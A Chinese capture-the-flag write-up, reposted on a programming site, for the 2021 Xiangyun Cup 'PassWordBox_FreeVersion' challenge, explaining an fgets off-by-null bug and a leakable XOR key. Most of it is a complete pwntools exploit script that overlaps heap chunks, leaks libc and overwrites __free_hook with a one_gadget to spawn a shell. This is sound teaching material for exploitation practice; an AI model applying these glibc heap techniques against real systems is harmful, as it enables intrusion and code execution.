IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> C++知识库 -> pwn-2021祥云杯-PassWordBox_FreeVersion[fgets的o-by-n漏洞,绕过encrypt,泄漏密钥] -> 正文阅读

[C++知识库]pwn-2021祥云杯-PassWordBox_FreeVersion[fgets的o-by-n漏洞,绕过encrypt,泄漏密钥]

这题与以往的o-by-n不同的是,只能编辑一次,而且内容加密,如果处理不慎就很有可能导致加密构造的错误,但是密钥是可以用c语言写个小程序来爆破,也可以泄漏。

2.27之后的ubuntu1.3开始都有key
绕过double free检查的方法就是清空key字段再free
请添加图片描述
fgets的 off-by-null漏洞:

如果fgets接受字节比参数所要求的字节多一个,那么最后那个就会变成null。

C 库函数 char *fgets(char *str, int n, FILE *stream) 从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。

代码审计

最主要的add部分

unsigned __int64 add()
{
  size_t i; // [rsp+8h] [rbp-18h] BYREF
  char *s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0LL; SHIDWORD(i) <= 79 && isAlive[8 * SHIDWORD(i)]; ++HIDWORD(i) )
    ;
  if ( HIDWORD(i) == 80 )
  {
    puts("Sorry,The Free Verison's PassWdBox Is Full,Plz Update To Pro Version~");
  }
  else
  {
    printf("Input The ID You Want Save:");
    getchar();
    read(0, (char *)&idArray + 32 * SHIDWORD(i), 0xFuLL);
    *((_BYTE *)&unk_406F + 32 * SHIDWORD(i)) = 0;
    printf("Length Of Your Pwd:");
    __isoc99_scanf("%u", &i);
    if ( (unsigned int)i <= 0x100 )
    {
      s = (char *)malloc((unsigned int)i);
      printf("Your Pwd:");
      getchar();
      fgets(s, i + 1, stdin);
      encrypt((__int64)s, i);
      *((_DWORD *)&sizeArray + 8 * SHIDWORD(i)) = i;
      *((_QWORD *)&heapArray + 4 * SHIDWORD(i)) = s;
      isAlive[8 * SHIDWORD(i)] = 1;
      if ( !Used )
      {
        printf("First Add Done.Thx 4 Use. Save ID:%s", *((const char **)&heapArray + 4 * SHIDWORD(i)));
        Used = 1LL;
      }
    }
    else
    {
      puts("Out Of Free Version's Size");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

encrypto

具体加密懒得分析了 就是注意如果写入不对就要考虑有没有加\n

__int64 __fastcall encrypt(__int64 a1, int a2)
{
  __int64 result; // rax
  int v3; // [rsp+14h] [rbp-18h]
  int i; // [rsp+18h] [rbp-14h]

  v3 = 2 * (a2 / 16);
  if ( a2 % 16 <= 8 )
  {
    if ( a2 % 16 > 0 )
      ++v3;
  }
  else
  {
    v3 += 2;
  }
  for ( i = 0; ; ++i )
  {
    result = (unsigned int)i;
    if ( i >= v3 )
      break;
    *(_QWORD *)(8LL * i + a1) ^= key;# 大概是分组XOR加密
  }
  return result;
}

漏洞利用

看到XOR加密就要想到与本身XOR就能泄漏密钥,想到这个就简单了,用\n给fgets截断就行,剩下的就是套路了。注意edit只能用一次,所以用free_hook挂one_gadget

from pwn import*
context(os='Linux',log_level = 'debug',arch='amd64')
name="test"
elf=ELF("./"+name)
local=1
v64=1

port=28680
IP="node4.buuoj.cn"
if local:
	p=process("./"+name)
	if v64:
		libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		libc=ELF("/lib/i386-linux-gnu/libc.so.6")
else:
	p=remote(IP,port)
	if v64:
		libc=ELF("/home/squ/Desktop/buulibc/16/64/libc-2.27.so")
	else:
		libc=ELF("/home/squ/Desktop/buulibc/18/32/libc-2.27.so")

libc=ELF("./libc.so.6")
def dbg():
	gdb.attach(p)
	pause()
'''
sed -i s/alarm/isnan/g ./test

	libcbase=printf-libc.sym['printf']
	system=libcbase+libc.sym['system']
	binsh=libcbase+next(libc.search(b'/bin/sh')))
'''
ogg64=[0x45226,0x4527a,0xf03a4,0xf1247]
sssssss="%i$n"
se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims 		:p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
info    = lambda tag, addr        :p.info('======>'+tag + ': {:#x}'.format(addr))
ir    = lambda                    :p.interactive()


def choice(i):
	sla("Input Your Choice:\n",str(i))

def add(size,pwd='\n',id='s'):
    choice(1)
    sla('Input The ID You Want Save:',id)
    sla('Length Of Your Pwd:',str(size))
    sa('Your Pwd:',pwd)

def edit(idx,pwd):
    choice(2)
    sl(str(idx))
    se(pwd)

def show(idx):
    choice(3)
    sla('Which PwdBox You Want Check:\n',str(idx))
        
def free(idx):
    choice(4)
    sla('Idx you want 2 Delete:\n',str(idx))

def exp(i):
    # pie 0x555555554000
    # key 0x4040+0x555555554000=0x463ce65d0fa7bfdd
    # heapArray 0x4070+0x555555554000
    add(0xf8,'\n')# 0
    ru(b"Save ID:")
    rc(8)
    leak=uu64(rc(8))# why must to rc_8_byte in advance?
    info('leak',leak)
    key=leak

    [add(0xf8,'\n') for i in range(6)] # 1-6
    
    add(0xf8)# 7
    add(0xf8)# 8 prev_size 0x100+ 0x100 =0x200
    add(0xf8)# 9
    # protect
    add(0xf8)# 10

    [free(i) for i in range(1,7)]

    free(8)# tcache
    free(7)# unsortedbin

    add(0xf8,b'a'*0xf0+p64(0x200^leak)+b'\n')# 1
    # 2 3 4 5 6 7 8 is available
    free(1)# tcache 1->6->5.....  full, 1 is double chunk
    free(9)
    # 1 2 3 4 5 6 7 8 9 is available
    [add(0xf0) for i in range(7)]# 1 2 3 4 5 6 7, 1 is double chunk
    # idx 8 9 is available
    # unsortedbin 0x55555555a950
    add(0xf0)# 8
    show(1)
    ru("Pwd is: ")
    leak_libc=uu64(rc(8))^key# %s is byte stream
    info("leak_libc",leak_libc)
    libc_base=leak_libc-(0x7ffff7dcdca0-0x7ffff79e2000)
    info("libc_base",libc_base)

    fh=libc_base+libc.sym['__free_hook']
    system=libc_base+libc.sym['system']
    info("free_hook",fh)
    info("system",system)

    add(0xf0)# 9
    free(0)# supply count
    free(9)
    # poisoning
    edit(1,p64(fh))# only one edit
    add(0xf0)
    ogg64=[0x4f3d5,0x4f432,0x10a41c]
    ogg=ogg64[1]+libc_base
    info("ogg",ogg)
    #dbg()
    add(0xf0,p64(ogg^key)+b'\n')# 9
    free(10)
	
if __name__=="__main__":
	exp(1)
	ir()

其中当时敲的时候有些疑惑

  • 如下
# why must to rc_8_byte in advance?

因为第一组XOR加密的结果被我们的\n给修改了,所以结果略有偏差,选用第二组,fgets会读取\n的,自己可以做个实验

  • %s是以字节流打印而%p是以0x11111的形式打印,具体接收不太一样,到时候可以和上面一起做个实验(其实直接看打印出来是不是乱码就行了)
  • 最后的发送一定要加个\n,具体原因不知道,当时调了几十分钟,不知道错哪了
  C++知识库 最新文章
【C++】友元、嵌套类、异常、RTTI、类型转换
通讯录的思路与实现(C语言)
C++PrimerPlus 第七章 函数-C++的编程模块(
Problem C: 算法9-9~9-12:平衡二叉树的基本
MSVC C++ UTF-8编程
C++进阶 多态原理
简单string类c++实现
我的年度总结
【C语言】以深厚地基筑伟岸高楼-基础篇(六
c语言常见错误合集
上一篇文章      下一篇文章      查看所有文章
加:2021-11-30 15:24:34  更:2021-11-30 15:27:17 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 9:43:21-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码